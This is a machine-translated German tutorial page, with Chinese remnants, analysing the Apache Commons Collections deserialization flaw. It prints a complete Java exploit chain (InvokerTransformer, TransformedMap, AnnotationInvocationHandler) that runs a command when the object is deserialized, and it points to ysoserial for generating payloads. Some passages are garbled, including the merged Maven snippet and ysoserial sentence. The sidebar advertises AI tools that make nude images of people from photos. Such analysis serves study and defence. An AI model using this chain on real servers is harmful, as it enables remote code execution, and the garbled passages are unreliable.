Inhaltsverzeichnis
1. Einleitung
2. Testumgebung
AnnotationInvocationHandler类
Heim Betrieb und Instandhaltung Sicherheit Beispielanalyse der Deserialisierungsschwachstelle in Apache Commons Collections

Beispielanalyse der Deserialisierungsschwachstelle in Apache Commons Collections

May 17, 2023 pm 03:10 PM
collections commons

1. Einleitung

Obwohl die Deserialisierungsanfälligkeit dieser Komponente in vielen Artikeln analysiert wurde, muss sie hier noch aufgezeichnet werden. Dies ist schließlich von Bedeutung für die Entwicklung von Java-Deserialisierungsschwachstellen.

Apache Commons Collections ist eine sehr häufig verwendete Toolbibliothek in der Java-Anwendungsentwicklung. Sie fügt viele leistungsstarke Datenstrukturen hinzu, vereinfacht die Entwicklung von Java-Anwendungen und ist zu einem anerkannten Standard für Java zur Verarbeitung von Sammlungsdaten geworden. Viele gängige Anwendungen wie Weblogic, WebSphere, Jboss, Jenkins usw. verwenden alle die Apache Commons Collections-Toolbibliothek. Wenn in der Toolbibliothek eine Deserialisierungsschwachstelle auftritt, sind auch diese Anwendungen betroffen. Grund.

2. Testumgebung

jdk1.7.0_21 + commons-collections-3.1.jar

Download-Adresse der historischen Version der Apache Commons Collections-Komponente: http://archive.apache.org/dist/commons/collections/binaries /, oder Maven-Abhängigkeit verwenden:



commons-collections< /groupId>
.com/frohoff/ysoserial) die Schwachstellen-Exploit-Nutzlast dieser Komponente während des Penetrationstests bereits integriert hat, müssen Sie nur die Eigenschaften von Java-serialisierten Daten befolgen (Daten beginnend mit rO0AB im hexadezimalen ACED- oder Base64-Codierungsformat). Wenn Sie den Einstiegspunkt der Java-Deserialisierung finden und vermuten, dass die CommonsCollections-Komponente basierend auf der Webanwendung vorhanden sein könnte, können Sie das ysoserial-Tool direkt verwenden, um die Nutzlast für die Ausnutzung von Sicherheitslücken direkt zu generieren.

3. Schwachstellenanalyse

Hier analysieren wir die Exploit-Kette für Schwachstellen bei der Codeausführung, die mithilfe der Transformer-Schnittstelle und mehrerer Klassen, die diese Schnittstelle implementieren, erstellt wurde. Apache Commons Collections反序列化漏洞的示例分析

Transformer-Schnittstelle

Die Definition der Transformer-Schnittstelle ist nur eine transform()-Methode, die laut Dokumentation hauptsächlich zur Objektkonvertierung verwendet wird. Es gibt eine ganze Reihe von Klassen, die diese Schnittstelle implementieren. Hier verwenden wir hauptsächlich die folgenden drei Implementierungsklassen: ConstantTransformer, InvokerTransformer und ChainedTransformer.

package org.apache.commons.collections;

public interface Transformer {
    //对象转换
    public Object transform(Object input);
}
Nach dem Login kopieren
ChainedTransformer-Klasse

ChainedTransformer-Klasse definiert ein Transformer[]-Array und durchläuft bei der Implementierung der transform()-Methode die Array-Elemente nacheinander und ruft die transform()-Methode der Transformer-Implementierungsklasse auf, die dem Array-Element entspricht. Transformer-Objekte werden aneinandergereiht.

public class ChainedTransformer implements Transformer, Serializable {
    private final Transformer[] iTransformers;

    ...
        
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

    ...
}
Nach dem Login kopieren
InvokerTransformer-Klasse

Die transform()-Methode der InvokerTransformer-Klasse ruft hauptsächlich eine Methode des eingehenden Parameterobjekts über den Reflexionsmechanismus auf. Beim Erstellen des InvokerTransformer-Objekts müssen Sie nur den Methodennamen, den Parametertyp und den Parameterwert festlegen.

public class InvokerTransformer implements Transformer, Serializable {
    
    /** The method name to call */
    private final String iMethodName;
    /** The array of reflection parameter types */
    private final Class[] iParamTypes;
    /** The array of reflection arguments */
    private final Object[] iArgs;

    ...

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    //简化后的transform()方法,通过反射机制调用对象的方法
    public Object transform(Object input) {
        ...
        
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
                
        ...  
    }
}
Nach dem Login kopieren
ConstantTransformer-Klasse

Die ConstantTransformer-Klasse ist sehr einfach und gibt das eingehende Objekt direkt zurück.

public class ConstantTransformer implements Transformer, Serializable {
    private final Object iConstant;

    ...

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    
    public Object transform(Object input) {
        return iConstant;
    }

    ...
}
Nach dem Login kopieren
Angesichts der oben genannten Situation ist es unser Ziel, die Ausführung des Codes Runtime.getRuntime().exec() zu implementieren. Offensichtlich müssen wir die transform()-Methode der InvokerTransformer-Klasse verwenden, um den Reflexionsaufruf zu implementieren. Wie unten gezeigt, ist dies die Quelle der Codeausführung:

package orz.vuln.poc;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
        //通过InvokeTransformer类反射调用Runtime代码
		InvokerTransformer invoker1 = new InvokerTransformer("getMethod", 
				new Class[] {String.class, Class[].class}, 
				new Object[] {"getRuntime", null});
		InvokerTransformer invoker2 = new InvokerTransformer("invoke", 
				new Class[] {Object.class, Object[].class}, 
				new Object[] {null, null});
		InvokerTransformer invoker3 = new InvokerTransformer("exec", 
				new Class[] {String.class}, 
				new Object[] {"calc.exe"});
		invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class)));
		
		/*正常反射调用Runtime代码
		Class clazz = Runtime.class;
		Method m1 = clazz.getMethod("getRuntime", null);
		Method m2 = clazz.getMethod("exec", String.class);
		m2.invoke(m1.invoke(clazz, null), "calc.exe");
		*/
	}
}
Nach dem Login kopieren

Im weiteren Verlauf haben wir festgestellt, dass wir die transform()-Methode in der ChainedTransformer-Klasse anstelle von invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class) verwenden können ))), das heißt, initialisieren Sie die oben genannten mehreren InvokerTransformer-Objekte in Transformer[]-Arrays und verwenden Sie Runtime.class, um das ConstantTransformer-Klassenobjekt zu initialisieren. Auf diese Weise können Sie eine Transformer-Aufrufkette erstellen, die die Codeausführung mit jedem Objekt auslösen kann :

package orz.vuln.poc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] {"getRuntime", null}),
				new InvokerTransformer("invoke", 
						new Class[] {Object.class, Object[].class}, 
						new Object[] {null, null}),
				new InvokerTransformer("exec",
						new Class[] {String.class},
						new Object[] {"calc.exe"})
		};
		
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		chainedTransformer.transform("foo");
	}
}
Nach dem Login kopieren
Als nächstes hoffen wir, dass die Deserialisierung den Aufruf der transform()-Methode des Transformer-Objekts auslöst, um den Zweck der Codeausführung zu erreichen.

TransformedMap-Klasse

Apache Commons Collections definiert eine TransformedMap-Klasse, um eine Transformation auf der Karte durchzuführen. Die Klasse wird durch Aufrufen der decor()-Methode instanziiert, wie unten gezeigt:

Und in dieser Klasse gibt es auch eine checkSetValue()-Methode, in der die transform()-Methode zum Aufrufen des Transformer-Objekts implementiert ist; gemäß der Methodenbeschreibung wird die checkSetValue()-Methode aufgerufen, wenn die setValue()-Methode aufgerufen wird:

Apache Commons Collections反序列化漏洞的示例分析

Deshalb Unsere Idee besteht darin, das TransformedMap-Objekt mithilfe des Map-Objekts und des erstellten bösartigen Transformer-Objekts zu initialisieren und dann die setValue()-Methode aufzurufen, um den Wert des Map-Objekts zu ändern. Der Code lautet wie folgt:

package orz.vuln.poc;

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] {"getRuntime", null}),
				new InvokerTransformer("invoke", 
						new Class[] {Object.class, Object[].class}, 
						new Object[] {null, null}),
				new InvokerTransformer("exec",
						new Class[] {String.class},
						new Object[] {"calc.exe"})
		};
		
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		//chainedTransformer.transform("foo");
		
		Map map = new HashMap();
		map.put("foo", "bar");
		Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
		Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();
		entry.setValue("test");
	}
}
Nach dem Login kopieren

Suchen Sie weiter Die durch Deserialisierung ausgelöste Ausführung der setValue()-Methode wurde schließlich in der readObject()-Methode der AnnotationInvocationHandler-Klasse gefunden. Apache Commons Collections反序列化漏洞的示例分析

AnnotationInvocationHandler类

AnnotationInvocationHandler类的readObject()方法如下所示:

Apache Commons Collections反序列化漏洞的示例分析

由于该类不提供公开的构造方法进行初始化,所以,我们通过反射调用该类的构造方法,并使用恶意的TransformedMap对象进行初始化,就可以生成攻击payload。在执行entry.setValue()方法之前,需要满足一个判断条件

Apache Commons Collections反序列化漏洞的示例分析

根据代码溯源可知,clazz变量是一个注解子类对象的属性值,如果要满足clazz变量不为null的话,在Class clazz=map.get(str)中则需要满足str是我们使用的注解类的属性;在漏洞利用代码中我们使用了java.lang.annotation.Target注解,而该注解只有一个属性value,因此我们在map.put()时,需要保证key的值是value。

Apache Commons Collections反序列化漏洞的示例分析

最终,完整漏洞利用代码如下:

package orz.vuln.poc;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		
		Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] {"getRuntime", null}),
				new InvokerTransformer("invoke", 
						new Class[] {Object.class, Object[].class}, 
						new Object[] {null, null}),
				new InvokerTransformer("exec",
						new Class[] {String.class},
						new Object[] {"calc.exe"})
		};
		
		Transformer chainedTransformer = new ChainedTransformer(transformers);
		//chainedTransformer.transform("foo");
		
		Map map = new HashMap();
		map.put("value", "bar");//由于使用java.lang.annotation.Target,此处key值必须为value
		Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
		//Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();
		//entry.setValue("test");
		
		Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
		ctor.setAccessible(true);
		Object instance = ctor.newInstance(Target.class, transformedMap);
		
		FileOutputStream fos = new FileOutputStream("D:/commonscollections.ser");
		ObjectOutputStream oos = new ObjectOutputStream(fos);
		oos.writeObject(instance);
		oos.close();
		fos.close();
		
		FileInputStream fis = new FileInputStream("D:/commonscollections.ser");
		ObjectInputStream ois = new ObjectInputStream(fis);
		ois.readObject();
		ois.close();
		fis.close();
	}
}
Nach dem Login kopieren

Das obige ist der detaillierte Inhalt vonBeispielanalyse der Deserialisierungsschwachstelle in Apache Commons Collections. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

AI Hentai Generator

AI Hentai Generator

Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

R.E.P.O. Energiekristalle erklärten und was sie tun (gelber Kristall)
4 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Beste grafische Einstellungen
4 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. So reparieren Sie Audio, wenn Sie niemanden hören können
1 Monate vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Chat -Befehle und wie man sie benutzt
1 Monate vor By 尊渡假赌尊渡假赌尊渡假赌

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Java verwendet die Funktion „frequenz()' der Klasse „Collections', um zu berechnen, wie oft ein bestimmtes Element in einer Sammlung vorkommt Java verwendet die Funktion „frequenz()' der Klasse „Collections', um zu berechnen, wie oft ein bestimmtes Element in einer Sammlung vorkommt Jul 24, 2023 pm 09:48 PM

Java verwendet die Funktion „frequenz()“ der Collections-Klasse, um die Anzahl der Vorkommen eines bestimmten Elements in einer Sammlung zu berechnen. In der Java-Programmierung ist die Collections-Klasse eine Dienstprogrammklasse, die viele statische Methoden zum Bearbeiten von Sammlungen enthält. Eine davon ist die Funktion „frequenz()“, die die Anzahl der Vorkommen eines bestimmten Elements in einer Sammlung zählt. Diese Funktion ist sehr einfach und benutzerfreundlich und bietet Java-Entwicklern Komfort und Flexibilität. Unten finden Sie einen Beispielcode, der die Verwendung zeigt

Java verwendet die Funktion „binarySearch()' der Klasse „Collections', um eine binäre Suche in einer geordneten Sammlung durchzuführen. Java verwendet die Funktion „binarySearch()' der Klasse „Collections', um eine binäre Suche in einer geordneten Sammlung durchzuführen. Jul 27, 2023 am 08:58 AM

Java verwendet die Funktion „binarySearch()“ der Klasse „Collections“, um eine binäre Suche in einer geordneten Sammlung durchzuführen. Die binäre Suche ist ein effizienter Algorithmus zum Auffinden bestimmter Elemente in einer geordneten Sammlung. In Java können wir die Funktion „binarySearch()“ der Klasse „Collections“ verwenden, um die binäre Suche zu implementieren. In diesem Artikel wird erläutert, wie Sie mit der Funktion „binarySearch()“ in einer geordneten Sammlung suchen, und es werden spezifische Codebeispiele bereitgestellt. Die Grundidee des binären Suchalgorithmus

Java verwendet die Funktion shuffle() der Collections-Klasse, um die Reihenfolge der Elemente in der Sammlung zu ändern. Java verwendet die Funktion shuffle() der Collections-Klasse, um die Reihenfolge der Elemente in der Sammlung zu ändern. Jul 24, 2023 pm 10:25 PM

Java verwendet die shuffle()-Funktion der Collections-Klasse, um die Reihenfolge der Elemente in der Sammlung zu unterbrechen. In der Programmiersprache Java ist die Collections-Klasse eine Toolklasse, die verschiedene statische Methoden zum Betreiben von Sammlungen bereitstellt. Eine davon ist die Funktion shuffle(), mit der sich die Reihenfolge der Elemente in einer Sammlung ändern lässt. Dieser Artikel zeigt die Verwendung dieser Funktion und stellt entsprechende Codebeispiele bereit. Zuerst müssen wir die Collections-Klasse in das Paket java.util importieren.

Java verwendet die Funktion sort() der Collections-Klasse, um Sammlungen zu sortieren Java verwendet die Funktion sort() der Collections-Klasse, um Sammlungen zu sortieren Jul 24, 2023 pm 05:01 PM

Java verwendet die Funktion sort() der Collections-Klasse, um Sammlungen zu sortieren. In Java müssen wir häufig Sammlungen sortieren. Die Collections-Klasse bietet eine sort()-Funktion, mit der Sammlungen einfach sortiert werden können. In diesem Artikel wird anhand von Codebeispielen erläutert, wie Sie die Funktion sort() der Collections-Klasse zum Sortieren von Sammlungen verwenden. Zuerst müssen wir das Paket java.util importieren, um die Collections-Klasse verwenden zu können. Kobold

Java verwendet die Funktion max() der Collections-Klasse, um den Maximalwert in der Sammlung abzurufen Java verwendet die Funktion max() der Collections-Klasse, um den Maximalwert in der Sammlung abzurufen Jul 24, 2023 am 10:41 AM

Java verwendet die Funktion max() der Collections-Klasse, um den Maximalwert in einer Sammlung zu ermitteln. Bei der Java-Programmierung müssen wir häufig den Maximalwert aus einer Sammlung ermitteln. Um diesen Prozess zu vereinfachen und die Lesbarkeit und Effizienz des Codes zu verbessern, stellt Java die Funktion max() der Collections-Klasse bereit. Diese Funktion hilft uns, den Maximalwert in der Menge leicht zu finden. In diesem Artikel wird die Verwendung der max()-Funktion der Collections-Klasse mit entsprechenden Codebeispielen vorgestellt. Slg

Beispielanalyse der Deserialisierungsschwachstelle in Apache Commons Collections Beispielanalyse der Deserialisierungsschwachstelle in Apache Commons Collections May 17, 2023 pm 03:10 PM

1. Einleitung Obwohl es im Internet viele Artikel gibt, die die Deserialisierungsanfälligkeit dieser Komponente analysieren, werde ich sie hier dennoch aufzeichnen. Dies ist schließlich von Bedeutung für die Entwicklung von Java-Deserialisierungsschwachstellen. Apache Commons Collections ist eine sehr häufig verwendete Toolbibliothek in der Java-Anwendungsentwicklung. Sie fügt viele leistungsstarke Datenstrukturen hinzu, vereinfacht die Entwicklung von Java-Anwendungen und ist für Java zu einem anerkannten Standard für die Verarbeitung von Sammlungsdaten geworden. Viele gängige Anwendungen wie Weblogic, WebSphere, Jboss, Jenkins usw. verwenden alle die Apache Commons Collections-Toolbibliothek. Wenn in der Toolbibliothek eine Deserialisierungsschwachstelle auftritt, ist dies der Fall

So verwenden Sie das Sammlungsmodul für erweiterte Datenstrukturoperationen in Python 2.x So verwenden Sie das Sammlungsmodul für erweiterte Datenstrukturoperationen in Python 2.x Jul 30, 2023 am 11:36 AM

Verwendung des Collections-Moduls für erweiterte Datenstrukturoperationen in Python 2.x Einführung: In der Standardbibliothek von Python stellt das Collections-Modul einige erweiterte Datenstrukturen bereit, die verschiedene Operationen erleichtern können. In diesem Artikel werden mehrere Datenstrukturen vorgestellt, die hauptsächlich vom Sammlungsmodul bereitgestellt werden, und relevante Codebeispiele gegeben. 1. CounterCounter ist ein einfaches und leistungsstarkes Zählertool, mit dem jedes Element in einem iterierbaren Objekt gezählt werden kann.

Laravel-Entwicklung: Wie kann man mit Laravel Collections Sammlungsdaten manipulieren? Laravel-Entwicklung: Wie kann man mit Laravel Collections Sammlungsdaten manipulieren? Jun 14, 2023 am 10:49 AM

Laravel-Entwicklung: Wie kann man mit LaravelCollections Sammlungsdaten manipulieren? Sammlungen sind ein sehr leistungsfähiges und praktisches Werkzeug in der Laravel-Entwicklung. Entwickler können LaravelCollections verwenden, um Sammlungsdaten einfach zu manipulieren und zu verarbeiten. In diesem Artikel stellen wir vor, wie man LaravelCollections zum Bearbeiten von Sammlungsdaten verwendet. 1. Was ist eine Sammlung?

See all articles